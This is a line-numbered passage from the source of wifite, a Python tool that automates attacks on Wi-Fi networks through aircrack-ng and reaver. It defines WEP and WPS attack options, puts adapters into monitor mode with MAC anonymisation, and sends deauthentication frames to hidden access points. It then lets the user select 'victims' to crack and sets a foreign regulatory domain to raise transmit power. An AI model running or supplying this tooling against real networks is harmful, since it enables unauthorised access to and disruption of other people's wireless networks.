  695. wep_group.add_argument('-pps', help=argparse.SUPPRESS, action='store', dest='pps')
  696. wep_group.add_argument('--wept', help='Sec to wait for each attack, 0 implies endless.', action='store',
  697. dest='wept')
  698. wep_group.add_argument('-wept', help=argparse.SUPPRESS, action='store', dest='wept')
  699. wep_group.add_argument('--chopchop', help='Use chopchop attack.', default=False, action='store_true',
  700. dest='chopchop')
  701. wep_group.add_argument('-chopchop', help=argparse.SUPPRESS, default=False, action='store_true', dest='chopchop')
  702. wep_group.add_argument('--arpreplay', help='Use arpreplay attack.', default=False, action='store_true',
  703. dest='arpreplay')
  704. wep_group.add_argument('-arpreplay', help=argparse.SUPPRESS, default=False, action='store_true',
  705. dest='arpreplay')
  706. wep_group.add_argument('--fragment', help='Use fragmentation attack.', default=False, action='store_true',
  707. dest='fragment')
  708. wep_group.add_argument('-fragment', help=argparse.SUPPRESS, default=False, action='store_true', dest='fragment')
  709. wep_group.add_argument('--caffelatte', help='Use caffe-latte attack.', default=False, action='store_true',
  710. dest='caffeelatte')
  711. wep_group.add_argument('-caffelatte', help=argparse.SUPPRESS, default=False, action='store_true',
  712. dest='caffeelatte')
  713. wep_group.add_argument('--p0841', help='Use P0842 attack.', default=False, action='store_true', dest='p0841')
  714. wep_group.add_argument('-p0841', help=argparse.SUPPRESS, default=False, action='store_true', dest='p0841')
  715. wep_group.add_argument('--hirte', help='Use hirte attack.', default=False, action='store_true', dest='hirte')
  716. wep_group.add_argument('-hirte', help=argparse.SUPPRESS, default=False, action='store_true', dest='hirte')
  717. wep_group.add_argument('--nofakeauth', help='Stop attack if fake authentication fails.', default=False,
  718. action='store_true', dest='fakeauth')
  719. wep_group.add_argument('-nofakeauth', help=argparse.SUPPRESS, default=False, action='store_true',
  720. dest='fakeauth')
  721. wep_group.add_argument('--wepca', help='Start cracking when number of IVs surpass [n].', action='store',
  722. dest='wepca')
  723. wep_group.add_argument('-wepca', help=argparse.SUPPRESS, action='store', dest='wepca')
  724. wep_group.add_argument('--wepsave', help='Save a copy of .cap files to this directory.', default=None,
  725. action='store', dest='wepsave')
  726. wep_group.add_argument('-wepsave', help=argparse.SUPPRESS, default=None, action='store', dest='wepsave')
  727. # set WPS commands
  728. wps_group = option_parser.add_argument_group('WPS')
  729. wps_group.add_argument('--wps', help='Only target WPS networks.', default=False, action='store_true',
  730. dest='wps')
  731. wps_group.add_argument('-wps', help=argparse.SUPPRESS, default=False, action='store_true', dest='wps')
  732. wps_group.add_argument('--pixie', help='Only use the WPS PixieDust attack', default=False, action='store_true', dest='pixie')
  733. wps_group.add_argument('--wpst', help='Max wait for new retry before giving up (0: never).', action='store',
  734. dest='wpst')
  735. wps_group.add_argument('-wpst', help=argparse.SUPPRESS, action='store', dest='wpst')
  736. wps_group.add_argument('--wpsratio', help='Min ratio of successful PIN attempts/total retries.', action='store',
  737. dest='wpsratio')
  738. wps_group.add_argument('-wpsratio', help=argparse.SUPPRESS, action='store', dest='wpsratio')
  739. wps_group.add_argument('--wpsretry', help='Max number of retries for same PIN before giving up.',
  740. action='store', dest='wpsretry')
  741. wps_group.add_argument('-wpsretry', help=argparse.SUPPRESS, action='store', dest='wpsretry')
  742.  
  743. return option_parser
  744.  
  745. def upgrade(self):
  746. """
  747. Checks for new version, prompts to upgrade, then
  748. replaces this script with the latest from the repo
  749. """
  750. try:
  751. print GR + ' [!]' + W + ' upgrading requires an ' + G + 'internet connection' + W
  752. print GR + ' [+]' + W + ' checking for latest version...'
  753. revision = get_revision()
  754. if revision == -1:
  755. print R + ' [!]' + O + ' unable to access GitHub' + W
  756. elif revision > self.REVISION:
  757. print GR + ' [!]' + W + ' a new version is ' + G + 'available!' + W
  758. print GR + ' [-]' + W + ' revision: ' + G + str(revision) + W
  759. response = raw_input(GR + ' [+]' + W + ' do you want to upgrade to the latest version? (y/n): ')
  760. if not response.lower().startswith('y'):
  761. print GR + ' [-]' + W + ' upgrading ' + O + 'aborted' + W
  762. self.exit_gracefully(0)
  763. return
  764. # Download script, replace with this one
  765. print GR + ' [+] ' + G + 'downloading' + W + ' update...'
  766. try:
  767. sock = urllib.urlopen('https://github.com/derv82/wifite/raw/master/wifite.py')
  768. page = sock.read()
  769. except IOError:
  770. page = ''
  771. if page == '':
  772. print R + ' [+] ' + O + 'unable to download latest version' + W
  773. self.exit_gracefully(1)
  774.  
  775. # Create/save the new script
  776. f = open('wifite_new.py', 'w')
  777. f.write(page)
  778. f.close()
  779.  
  780. # The filename of the running script
  781. this_file = __file__
  782. if this_file.startswith('./'):
  783. this_file = this_file[2:]
  784.  
  785. # create/save a shell script that replaces this script with the new one
  786. f = open('update_wifite.sh', 'w')
  787. f.write('''#!/bin/sh\n
  788. rm -rf ''' + this_file + '''\n
  789. mv wifite_new.py ''' + this_file + '''\n
  790. rm -rf update_wifite.sh\n
  791. chmod +x ''' + this_file + '''\n
  792. ''')
  793. f.close()
  794.  
  795. # Change permissions on the script
  796. returncode = call(['chmod', '+x', 'update_wifite.sh'])
  797. if returncode != 0:
  798. print R + ' [!]' + O + ' permission change returned unexpected code: ' + str(returncode) + W
  799. self.exit_gracefully(1)
  800. # Run the script
  801. returncode = call(['sh', 'update_wifite.sh'])
  802. if returncode != 0:
  803. print R + ' [!]' + O + ' upgrade script returned unexpected code: ' + str(returncode) + W
  804. self.exit_gracefully(1)
  805.  
  806. print GR + ' [+] ' + G + 'updated!' + W + ' type "./' + this_file + '" to run again'
  807.  
  808. else:
  809. print GR + ' [-]' + W + ' your copy of wifite is ' + G + 'up to date' + W
  810.  
  811. except KeyboardInterrupt:
  812. print R + '\n (^C)' + O + ' wifite upgrade interrupted' + W
  813. self.exit_gracefully(0)
  814.  
  815.  
  816. class RunEngine:
  817. def __init__(self, run_config):
  818. self.RUN_CONFIG = run_config
  819. self.RUN_CONFIG.RUN_ENGINE = self
  820.  
  821. def initial_check(self):
  822. """
  823. Ensures required programs are installed.
  824. """
  825. airs = ['aircrack-ng', 'airodump-ng', 'aireplay-ng', 'airmon-ng', 'packetforge-ng']
  826. for air in airs:
  827. if program_exists(air): continue
  828. print R + ' [!]' + O + ' required program not found: %s' % (R + air + W)
  829. print R + ' [!]' + O + ' this program is bundled with the aircrack-ng suite:' + W
  830. print R + ' [!]' + O + ' ' + C + 'http://www.aircrack-ng.org/' + W
  831. print R + ' [!]' + O + ' or: ' + W + 'sudo apt-get install aircrack-ng\n' + W
  832. self.RUN_CONFIG.exit_gracefully(1)
  833.  
  834. if not program_exists('iw'):
  835. print R + ' [!]' + O + ' airmon-ng requires the program %s\n' % (R + 'iw' + W)
  836. self.RUN_CONFIG.exit_gracefully(1)
  837.  
  838. printed = False
  839. # Check reaver
  840. if not program_exists('reaver'):
  841. printed = True
  842. print R + ' [!]' + O + ' the program ' + R + 'reaver' + O + ' is required for WPS attacks' + W
  843. print R + ' ' + O + ' available at ' + C + 'http://code.google.com/p/reaver-wps' + W
  844. self.RUN_CONFIG.WPS_DISABLE = True
  845. elif not program_exists('walsh') and not program_exists('wash'):
  846. printed = True
  847. print R + ' [!]' + O + ' reaver\'s scanning tool ' + R + 'walsh' + O + ' (or ' + R + 'wash' + O + ') was not found' + W
  848. print R + ' [!]' + O + ' please re-install reaver or install walsh/wash separately' + W
  849.  
  850. # Check handshake-checking apps
  851. recs = ['tshark', 'pyrit', 'cowpatty']
  852. for rec in recs:
  853. if program_exists(rec): continue
  854. printed = True
  855. print R + ' [!]' + O + ' the program %s is not required, but is recommended%s' % (R + rec + O, W)
  856. if printed: print ''
  857.  
  858. def enable_monitor_mode(self, iface):
  859. """
  860. First attempts to anonymize the MAC if requested; MACs cannot
  861. be anonymized if they're already in monitor mode.
  862. Uses airmon-ng to put a device into Monitor Mode.
  863. Then uses the get_iface() method to retrieve the new interface's name.
  864. Sets global variable IFACE_TO_TAKE_DOWN as well.
  865. Returns the name of the interface in monitor mode.
  866. """
  867. mac_anonymize(iface)
  868. print GR + ' [+]' + W + ' enabling monitor mode on %s...' % (G + iface + W),
  869. stdout.flush()
  870. call(['airmon-ng', 'start', iface], stdout=DN, stderr=DN)
  871. print 'done'
  872. self.RUN_CONFIG.WIRELESS_IFACE = '' # remove this reference as we've started its monitoring counterpart
  873. self.RUN_CONFIG.IFACE_TO_TAKE_DOWN = self.get_iface()
  874. if self.RUN_CONFIG.TX_POWER > 0:
  875. print GR + ' [+]' + W + ' setting Tx power to %s%s%s...' % (G, self.RUN_CONFIG.TX_POWER, W),
  876. call(['iw', 'reg', 'set', 'BO'], stdout=OUTLOG, stderr=ERRLOG)
  877. call(['iwconfig', iface, 'txpower', self.RUN_CONFIG.TX_POWER], stdout=OUTLOG, stderr=ERRLOG)
  878. print 'done'
  879. return self.RUN_CONFIG.IFACE_TO_TAKE_DOWN
  880.  
  881. def disable_monitor_mode(self):
  882. """
  883. The program may have enabled monitor mode on a wireless interface.
  884. We want to disable this before we exit, so we will do that.
  885. """
  886. if self.RUN_CONFIG.IFACE_TO_TAKE_DOWN == '': return
  887. print GR + ' [+]' + W + ' disabling monitor mode on %s...' % (G + self.RUN_CONFIG.IFACE_TO_TAKE_DOWN + W),
  888. stdout.flush()
  889. call(['airmon-ng', 'stop', self.RUN_CONFIG.IFACE_TO_TAKE_DOWN], stdout=DN, stderr=DN)
  890. print 'done'
  891.  
  892. def rtl8187_fix(self, iface):
  893. """
  894. Attempts to solve "Unknown error 132" common with RTL8187 devices.
  895. Puts down interface, unloads/reloads driver module, then puts iface back up.
  896. Returns True if fix was attempted, False otherwise.
  897. """
  898. # Check if current interface is using the RTL8187 chipset
  899. proc_airmon = Popen(['airmon-ng'], stdout=PIPE, stderr=DN)
  900. proc_airmon.wait()
  901. using_rtl8187 = False
  902. for line in proc_airmon.communicate()[0].split():
  903. line = line.upper()
  904. if line.strip() == '' or line.startswith('INTERFACE'): continue
  905. if line.find(iface.upper()) and line.find('RTL8187') != -1: using_rtl8187 = True
  906.  
  907. if not using_rtl8187:
  908. # Display error message and exit
  909. print R + ' [!]' + O + ' unable to generate airodump-ng CSV file' + W
  910. print R + ' [!]' + O + ' you may want to disconnect/reconnect your wifi device' + W
  911. self.RUN_CONFIG.exit_gracefully(1)
  912.  
  913. print O + " [!]" + W + " attempting " + O + "RTL8187 'Unknown Error 132'" + W + " fix..."
  914.  
  915. original_iface = iface
  916. # Take device out of monitor mode
  917. airmon = Popen(['airmon-ng', 'stop', iface], stdout=PIPE, stderr=DN)
  918. airmon.wait()
  919. for line in airmon.communicate()[0].split('\n'):
  920. if line.strip() == '' or \
  921. line.startswith("Interface") or \
  922. line.find('(removed)') != -1:
  923. continue
  924. original_iface = line.split()[0] # line[:line.find('\t')]
  925.  
  926. # Remove drive modules, block/unblock ifaces, probe new modules.
  927. print_and_exec(['ifconfig', original_iface, 'down'])
  928. print_and_exec(['rmmod', 'rtl8187'])
  929. print_and_exec(['rfkill', 'block', 'all'])
  930. print_and_exec(['rfkill', 'unblock', 'all'])
  931. print_and_exec(['modprobe', 'rtl8187'])
  932. print_and_exec(['ifconfig', original_iface, 'up'])
  933. print_and_exec(['airmon-ng', 'start', original_iface])
  934.  
  935. print '\r \r',
  936. print O + ' [!] ' + W + 'restarting scan...\n'
  937.  
  938. return True
  939.  
  940. def get_iface(self):
  941. """
  942. Get the wireless interface in monitor mode.
  943. Defaults to only device in monitor mode if found.
  944. Otherwise, enumerates list of possible wifi devices
  945. and asks user to select one to put into monitor mode (if multiple).
  946. Uses airmon-ng to put device in monitor mode if needed.
  947. Returns the name (string) of the interface chosen in monitor mode.
  948. """
  949. if not self.RUN_CONFIG.PRINTED_SCANNING:
  950. print GR + ' [+]' + W + ' scanning for wireless devices...'
  951. self.RUN_CONFIG.PRINTED_SCANNING = True
  952.  
  953. proc = Popen(['iwconfig'], stdout=PIPE, stderr=DN)
  954. iface = ''
  955. monitors = []
  956. adapters = []
  957. for line in proc.communicate()[0].split('\n'):
  958. if len(line) == 0: continue
  959. if ord(line[0]) != 32: # Doesn't start with space
  960. iface = line[:line.find(' ')] # is the interface
  961. if line.find('Mode:Monitor') != -1:
  962. monitors.append(iface)
  963. else:
  964. adapters.append(iface)
  965.  
  966. if self.RUN_CONFIG.WIRELESS_IFACE != '':
  967. if monitors.count(self.RUN_CONFIG.WIRELESS_IFACE):
  968. return self.RUN_CONFIG.WIRELESS_IFACE
  969. else:
  970. if self.RUN_CONFIG.WIRELESS_IFACE in adapters:
  971. # valid adapter, enable monitor mode
  972. print R + ' [!]' + O + ' could not find wireless interface %s in monitor mode' % (
  973. R + '"' + R + self.RUN_CONFIG.WIRELESS_IFACE + '"' + O)
  974. return self.enable_monitor_mode(self.RUN_CONFIG.WIRELESS_IFACE)
  975. else:
  976. # couldnt find the requested adapter
  977. print R + ' [!]' + O + ' could not find wireless interface %s' % (
  978. '"' + R + self.RUN_CONFIG.WIRELESS_IFACE + O + '"' + W)
  979. self.RUN_CONFIG.exit_gracefully(0)
  980.  
  981. if len(monitors) == 1:
  982. return monitors[0] # Default to only device in monitor mode
  983. elif len(monitors) > 1:
  984. print GR + " [+]" + W + " interfaces in " + G + "monitor mode:" + W
  985. for i, monitor in enumerate(monitors):
  986. print " %s. %s" % (G + str(i + 1) + W, G + monitor + W)
  987. ri = raw_input("%s [+]%s select %snumber%s of interface to use for capturing (%s1-%d%s): %s" % \
  988. (GR, W, G, W, G, len(monitors), W, G))
  989. while not ri.isdigit() or int(ri) < 1 or int(ri) > len(monitors):
  990. ri = raw_input("%s [+]%s select number of interface to use for capturing (%s1-%d%s): %s" % \
  991. (GR, W, G, len(monitors), W, G))
  992. i = int(ri)
  993. return monitors[i - 1]
  994.  
  995. proc = Popen(['airmon-ng'], stdout=PIPE, stderr=DN)
  996. for line in proc.communicate()[0].split('\n'):
  997. if len(line) == 0 or line.startswith('Interface') or line.startswith('PHY'): continue
  998. monitors.append(line)
  999.  
  1000. if len(monitors) == 0:
  1001. print R + ' [!]' + O + " no wireless interfaces were found." + W
  1002. print R + ' [!]' + O + " you need to plug in a wifi device or install drivers.\n" + W
  1003. self.RUN_CONFIG.exit_gracefully(0)
  1004. elif self.RUN_CONFIG.WIRELESS_IFACE != '' and monitors.count(self.RUN_CONFIG.WIRELESS_IFACE) > 0:
  1005. monitor = monitors[0][:monitors[0].find('\t')]
  1006. return self.enable_monitor_mode(monitor)
  1007.  
  1008. elif len(monitors) == 1:
  1009. monitor = monitors[0][:monitors[0].find('\t')]
  1010. if monitor.startswith('phy'): monitor = monitors[0].split()[1]
  1011. return self.enable_monitor_mode(monitor)
  1012.  
  1013. print GR + " [+]" + W + " available wireless devices:"
  1014. for i, monitor in enumerate(monitors):
  1015. print " %s%d%s. %s" % (G, i + 1, W, monitor)
  1016.  
  1017. ri = raw_input(
  1018. GR + " [+]" + W + " select number of device to put into monitor mode (%s1-%d%s): " % (G, len(monitors), W))
  1019. while not ri.isdigit() or int(ri) < 1 or int(ri) > len(monitors):
  1020. ri = raw_input(" [+] select number of device to put into monitor mode (%s1-%d%s): " % (G, len(monitors), W))
  1021. i = int(ri)
  1022. monitor = monitors[i - 1][:monitors[i - 1].find('\t')]
  1023.  
  1024. return self.enable_monitor_mode(monitor)
  1025.  
  1026. def scan(self, channel=0, iface='', tried_rtl8187_fix=False):
  1027. """
  1028. Scans for access points. Asks user to select target(s).
  1029. "channel" - the channel to scan on, 0 scans all channels.
  1030. "iface" - the interface to scan on. must be a real interface.
  1031. "tried_rtl8187_fix" - We have already attempted to fix "Unknown error 132"
  1032. Returns list of selected targets and list of clients.
  1033. """
  1034. remove_airodump_files(self.RUN_CONFIG.temp + 'wifite')
  1035.  
  1036. command = ['airodump-ng',
  1037. '-a', # only show associated clients
  1038. '-w', self.RUN_CONFIG.temp + 'wifite'] # output file
  1039. if channel != 0:
  1040. command.append('-c')
  1041. command.append(str(channel))
  1042. command.append(iface)
  1043.  
  1044. proc = Popen(command, stdout=DN, stderr=DN)
  1045.  
  1046. time_started = time.time()
  1047. print GR + ' [+] ' + G + 'initializing scan' + W + ' (' + G + iface + W + '), updates at 5 sec intervals, ' + G + 'CTRL+C' + W + ' when ready.'
  1048. (targets, clients) = ([], [])
  1049. try:
  1050. deauth_sent = 0.0
  1051. old_targets = []
  1052. stop_scanning = False
  1053. while True:
  1054. time.sleep(0.3)
  1055. if not os.path.exists(self.RUN_CONFIG.temp + 'wifite-01.csv') and time.time() - time_started > 1.0:
  1056. print R + '\n [!] ERROR!' + W
  1057. # RTL8187 Unknown Error 132 FIX
  1058. if proc.poll() is not None: # Check if process has finished
  1059. proc = Popen(['airodump-ng', iface], stdout=DN, stderr=PIPE)
  1060. if not tried_rtl8187_fix and proc.communicate()[1].find('failed: Unknown error 132') != -1:
  1061. send_interrupt(proc)
  1062. if self.rtl8187_fix(iface):
  1063. return self.scan(channel=channel, iface=iface, tried_rtl8187_fix=True)
  1064. print R + ' [!]' + O + ' wifite is unable to generate airodump-ng output files' + W
  1065. print R + ' [!]' + O + ' you may want to disconnect/reconnect your wifi device' + W
  1066. self.RUN_CONFIG.exit_gracefully(1)
  1067.  
  1068. (targets, clients) = self.parse_csv(self.RUN_CONFIG.temp + 'wifite-01.csv')
  1069.  
  1070. # Remove any already cracked networks if configured to do so
  1071. if self.RUN_CONFIG.SHOW_ALREADY_CRACKED == False:
  1072. index = 0
  1073. while index < len(targets):
  1074. already = False
  1075. for cracked in self.RUN_CONFIG.CRACKED_TARGETS:
  1076. if targets[index].ssid.lower() == cracked.ssid.lower():
  1077. already = True
  1078. if targets[index].bssid.lower() == cracked.bssid.lower():
  1079. already = True
  1080. if already == True:
  1081. targets.pop(index)
  1082. index -= 1
  1083. index += 1
  1084.  
  1085. # If we are targeting a specific ESSID/BSSID, skip the scan once we find it.
  1086. if self.RUN_CONFIG.TARGET_ESSID != '':
  1087. for t in targets:
  1088. if t.ssid.lower() == self.RUN_CONFIG.TARGET_ESSID.lower():
  1089. send_interrupt(proc)
  1090. try:
  1091. os.kill(proc.pid, SIGTERM)
  1092. except OSError:
  1093. pass
  1094. except UnboundLocalError:
  1095. pass
  1096. targets = [t]
  1097. stop_scanning = True
  1098. break
  1099. if self.RUN_CONFIG.TARGET_BSSID != '':
  1100. for t in targets:
  1101. if t.bssid.lower() == self.RUN_CONFIG.TARGET_BSSID.lower():
  1102. send_interrupt(proc)
  1103. try:
  1104. os.kill(proc.pid, SIGTERM)
  1105. except OSError:
  1106. pass
  1107. except UnboundLocalError:
  1108. pass
  1109. targets = [t]
  1110. stop_scanning = True
  1111. break
  1112.  
  1113. # If user has chosen to target all access points, wait 20 seconds, then return all
  1114. if self.RUN_CONFIG.ATTACK_ALL_TARGETS and time.time() - time_started > 10:
  1115. print GR + '\n [+]' + W + ' auto-targeted %s%d%s access point%s' % (
  1116. G, len(targets), W, '' if len(targets) == 1 else 's')
  1117. stop_scanning = True
  1118.  
  1119. if self.RUN_CONFIG.ATTACK_MIN_POWER > 0 and time.time() - time_started > 10:
  1120. # Remove targets with power < threshold
  1121. i = 0
  1122. before_count = len(targets)
  1123. while i < len(targets):
  1124. if targets[i].power < self.RUN_CONFIG.ATTACK_MIN_POWER:
  1125. targets.pop(i)
  1126. else:
  1127. i += 1
  1128. print GR + '\n [+]' + W + ' removed %s targets with power < %ddB, %s remain' % \
  1129. (G + str(before_count - len(targets)) + W,
  1130. self.RUN_CONFIG.ATTACK_MIN_POWER, G + str(len(targets)) + W)
  1131. stop_scanning = True
  1132.  
  1133. if stop_scanning: break
  1134.  
  1135. # If there are unknown SSIDs, send deauths to them.
  1136. if self.RUN_CONFIG.SEND_DEAUTHS and channel != 0 and time.time() - deauth_sent > 5:
  1137. deauth_sent = time.time()
  1138. for t in targets:
  1139. if t.ssid == '':
  1140. print "\r %s deauthing hidden access point (%s) \r" % \
  1141. (GR + sec_to_hms(time.time() - time_started) + W, G + t.bssid + W),
  1142. stdout.flush()
  1143. # Time to deauth
  1144. cmd = ['aireplay-ng',
  1145. '--ignore-negative-one',
  1146. '--deauth', str(self.RUN_CONFIG.WPA_DEAUTH_COUNT),
  1147. '-a', t.bssid]
  1148. for c in clients:
  1149. if c.station == t.bssid:
  1150. cmd.append('-c')
  1151. cmd.append(c.bssid)
  1152. break
  1153. cmd.append(iface)
  1154. proc_aireplay = Popen(cmd, stdout=DN, stderr=DN)
  1155. proc_aireplay.wait()
  1156. time.sleep(0.5)
  1157. else:
  1158. for ot in old_targets:
  1159. if ot.ssid == '' and ot.bssid == t.bssid:
  1160. print '\r %s successfully decloaked "%s" ' % \
  1161. (GR + sec_to_hms(time.time() - time_started) + W, G + t.ssid + W)
  1162.  
  1163. old_targets = targets[:]
  1164. if self.RUN_CONFIG.VERBOSE_APS and len(targets) > 0:
  1165. targets = sorted(targets, key=lambda t: t.power, reverse=True)
  1166. if not self.RUN_CONFIG.WPS_DISABLE:
  1167. wps_check_targets(targets, self.RUN_CONFIG.temp + 'wifite-01.cap', verbose=False)
  1168.  
  1169. os.system('clear')
  1170. print GR + '\n [+] ' + G + 'scanning' + W + ' (' + G + iface + W + '), updates at 5 sec intervals, ' + G + 'CTRL+C' + W + ' when ready.\n'
  1171. print " NUM ESSID %sCH ENCR POWER WPS? CLIENT" % (
  1172. 'BSSID ' if self.RUN_CONFIG.SHOW_MAC_IN_SCAN else '')
  1173. print ' --- -------------------- %s-- ---- ----- ---- ------' % (
  1174. '----------------- ' if self.RUN_CONFIG.SHOW_MAC_IN_SCAN else '')
  1175. for i, target in enumerate(targets):
  1176. print " %s%2d%s " % (G, i + 1, W),
  1177. # SSID
  1178. if target.ssid == '':
  1179. p = O + '(' + target.bssid + ')' + GR + ' ' + W
  1180. print '%s' % p.ljust(20),
  1181. elif ( target.ssid.count('\x00') == len(target.ssid) ):
  1182. p = '<Length ' + str(len(target.ssid)) + '>'
  1183. print '%s' % C + p.ljust(20) + W,
  1184. elif len(target.ssid) <= 20:
  1185. print "%s" % C + target.ssid.ljust(20) + W,
  1186. else:
  1187. print "%s" % C + target.ssid[0:17] + '...' + W,
  1188. # BSSID
  1189. if self.RUN_CONFIG.SHOW_MAC_IN_SCAN:
  1190. print O, target.bssid + W,
  1191. # Channel
  1192. print G + target.channel.rjust(3), W,
  1193. # Encryption
  1194. if target.encryption.find("WEP") != -1:
  1195. print G,
  1196. else:
  1197. print O,
  1198. print "\b%3s" % target.encryption.strip().ljust(4) + W,
  1199. # Power
  1200. if target.power >= 55:
  1201. col = G
  1202. elif target.power >= 40:
  1203. col = O
  1204. else:
  1205. col = R
  1206. print "%s%3ddb%s" % (col, target.power, W),
  1207. # WPS
  1208. if self.RUN_CONFIG.WPS_DISABLE:
  1209. print " %3s" % (O + 'n/a' + W),
  1210. else:
  1211. print " %3s" % (G + 'wps' + W if target.wps else R + ' no' + W),
  1212. # Clients
  1213. client_text = ''
  1214. for c in clients:
  1215. if c.station == target.bssid:
  1216. if client_text == '':
  1217. client_text = 'client'
  1218. elif client_text[-1] != "s":
  1219. client_text += "s"
  1220. if client_text != '':
  1221. print ' %s' % (G + client_text + W)
  1222. else:
  1223. print ''
  1224. print ''
  1225. print ' %s %s wireless networks. %s target%s and %s client%s found \r' % (
  1226. GR + sec_to_hms(time.time() - time_started) + W, G + 'scanning' + W,
  1227. G + str(len(targets)) + W, '' if len(targets) == 1 else 's',
  1228. G + str(len(clients)) + W, '' if len(clients) == 1 else 's'),
  1229.  
  1230. stdout.flush()
  1231. except KeyboardInterrupt:
  1232. pass
  1233. print ''
  1234.  
  1235. send_interrupt(proc)
  1236. try:
  1237. os.kill(proc.pid, SIGTERM)
  1238. except OSError:
  1239. pass
  1240. except UnboundLocalError:
  1241. pass
  1242.  
  1243. # Use "wash" program to check for WPS compatibility
  1244. if not self.RUN_CONFIG.WPS_DISABLE:
  1245. wps_check_targets(targets, self.RUN_CONFIG.temp + 'wifite-01.cap')
  1246.  
  1247. remove_airodump_files(self.RUN_CONFIG.temp + 'wifite')
  1248.  
  1249. if stop_scanning:
  1250. return (targets, clients)
  1251. print ''
  1252.  
  1253. if len(targets) == 0:
  1254. print R + ' [!]' + O + ' no targets found!' + W
  1255. print R + ' [!]' + O + ' you may need to wait for targets to show up.' + W
  1256. print ''
  1257. self.RUN_CONFIG.exit_gracefully(1)
  1258.  
  1259. if self.RUN_CONFIG.VERBOSE_APS: os.system('clear')
  1260.  
  1261. # Sort by Power
  1262. targets = sorted(targets, key=lambda t: t.power, reverse=True)
  1263.  
  1264. victims = []
  1265. print " NUM ESSID %sCH ENCR POWER WPS? CLIENT" % (
  1266. 'BSSID ' if self.RUN_CONFIG.SHOW_MAC_IN_SCAN else '')
  1267. print ' --- -------------------- %s-- ---- ----- ---- ------' % (
  1268. '----------------- ' if self.RUN_CONFIG.SHOW_MAC_IN_SCAN else '')
  1269. for i, target in enumerate(targets):
  1270. print " %s%2d%s " % (G, i + 1, W),
  1271. # SSID
  1272. if target.ssid == '':
  1273. p = O + '(' + target.bssid + ')' + GR + ' ' + W
  1274. print '%s' % p.ljust(20),
  1275. elif ( target.ssid.count('\x00') == len(target.ssid) ):
  1276. p = '<Length ' + str(len(target.ssid)) + '>'
  1277. print '%s' % C + p.ljust(20) + W,
  1278. elif len(target.ssid) <= 20:
  1279. print "%s" % C + target.ssid.ljust(20) + W,
  1280. else:
  1281. print "%s" % C + target.ssid[0:17] + '...' + W,
  1282. # BSSID
  1283. if self.RUN_CONFIG.SHOW_MAC_IN_SCAN:
  1284. print O, target.bssid + W,
  1285. # Channel
  1286. print G + target.channel.rjust(3), W,
  1287. # Encryption
  1288. if target.encryption.find("WEP") != -1:
  1289. print G,
  1290. else:
  1291. print O,
  1292. print "\b%3s" % target.encryption.strip().ljust(4) + W,
  1293. # Power
  1294. if target.power >= 55:
  1295. col = G
  1296. elif target.power >= 40:
  1297. col = O
  1298. else:
  1299. col = R
  1300. print "%s%3ddb%s" % (col, target.power, W),
  1301. # WPS
  1302. if self.RUN_CONFIG.WPS_DISABLE:
  1303. print " %3s" % (O + 'n/a' + W),
  1304. else:
  1305. print " %3s" % (G + 'wps' + W if target.wps else R + ' no' + W),
  1306. # Clients
  1307. client_text = ''
  1308. for c in clients:
  1309. if c.station == target.bssid:
  1310. if client_text == '':
  1311. client_text = 'client'
  1312. elif client_text[-1] != "s":
  1313. client_text += "s"
  1314. if client_text != '':
  1315. print ' %s' % (G + client_text + W)
  1316. else:
  1317. print ''
  1318.  
  1319. ri = raw_input(
  1320. GR + "\n [+]" + W + " select " + G + "target numbers" + W + " (" + G + "1-%s)" % (str(len(targets)) + W) + \
  1321. " separated by commas, or '%s': " % (G + 'all' + W))
  1322. if ri.strip().lower() == 'all':
  1323. victims = targets[:]
  1324. else:
  1325. for r in ri.split(','):
  1326. r = r.strip()
  1327. if r.find('-') != -1:
  1328. (sx, sy) = r.split('-')
  1329. if sx.isdigit() and sy.isdigit():
  1330. x = int(sx)
  1331. y = int(sy) + 1
  1332. for v in xrange(x, y):
  1333. victims.append(targets[v - 1])
  1334. elif not r.isdigit() and r.strip() != '':
  1335. print O + " [!]" + R + " not a number: %s " % (O + r + W)
  1336. elif r != '':
  1337. victims.append(targets[int(r) - 1])
  1338.  
  1339. if len(victims) == 0:
  1340. print O + '\n [!] ' + R + 'no targets selected.\n' + W
  1341. self.RUN_CONFIG.exit_gracefully(0)
  1342.  
  1343. print ''
  1344. print ' [+] %s%d%s target%s selected.' % (G, len(victims), W, '' if len(victims) == 1 else 's')
  1345.  
  1346. return (victims, clients)
  1347.  
  1348. def Start(self):
  1349. self.RUN_CONFIG.CreateTempFolder()
  1350. self.RUN_CONFIG.handle_args()
  1351. self.RUN_CONFIG.ConfirmRunningAsRoot()
  1352. self.RUN_CONFIG.ConfirmCorrectPlatform()
  1353.  
  1354. self.initial_check() # Ensure required programs are installed.
  1355.  
  1356. # Use an interface already in monitor mode if it has been provided,
  1357. if self.RUN_CONFIG.MONITOR_IFACE != '':
  1358. iface = self.RUN_CONFIG.MONITOR_IFACE
  1359. else:
  1360. # The "get_iface" method anonymizes the MAC address (if needed)
  1361. # and puts the interface into monitor mode.
  1362. iface = self.get_iface()
  1363. self.RUN_CONFIG.THIS_MAC = get_mac_address(iface) # Store current MAC address
  1364.  
  1365. (targets, clients) = self.scan(iface=iface, channel=self.RUN_CONFIG.TARGET_CHANNEL)
  1366.  
  1367. try:
  1368. index = 0
  1369. while index < len(targets):
  1370. target = targets[index]
  1371. # Check if we have already cracked this target
  1372. for already in RUN_CONFIG.CRACKED_TARGETS:
  1373. if already.bssid == targets[index].bssid:
  1374. if RUN_CONFIG.SHOW_ALREADY_CRACKED == True:
  1375. print R + '\n [!]' + O + ' you have already cracked this access point\'s key!' + W
  1376. print R + ' [!] %s' % (C + already.ssid + W + ': "' + G + already.key + W + '"')
  1377. ri = raw_input(
  1378. GR + ' [+] ' + W + 'do you want to crack this access point again? (' + G + 'y/' + O + 'n' + W + '): ')
  1379. if ri.lower() == 'n':
  1380. targets.pop(index)
  1381. index -= 1
  1382. else:
  1383. targets.pop(index)
  1384. index -= 1
  1385. break
  1386.  
  1387. # Check if handshakes already exist, ask user whether to skip targets or save new handshakes
  1388. handshake_file = RUN_CONFIG.WPA_HANDSHAKE_DIR + os.sep + re.sub(r'[^a-zA-Z0-9]', '', target.ssid) \
  1389. + '_' + target.bssid.replace(':', '-') + '.cap'
  1390. if os.path.exists(handshake_file):
  1391. print R + '\n [!] ' + O + 'you already have a handshake file for %s:' % (C + target.ssid + W)
  1392. print ' %s\n' % (G + handshake_file + W)
  1393. print GR + ' [+]' + W + ' do you want to ' + G + '[s]kip' + W + ', ' + O + '[c]apture again' + W + ', or ' + R + '[o]verwrite' + W + '?'
  1394. ri = 'x'
  1395. while ri != 's' and ri != 'c' and ri != 'o':
  1396. ri = raw_input(
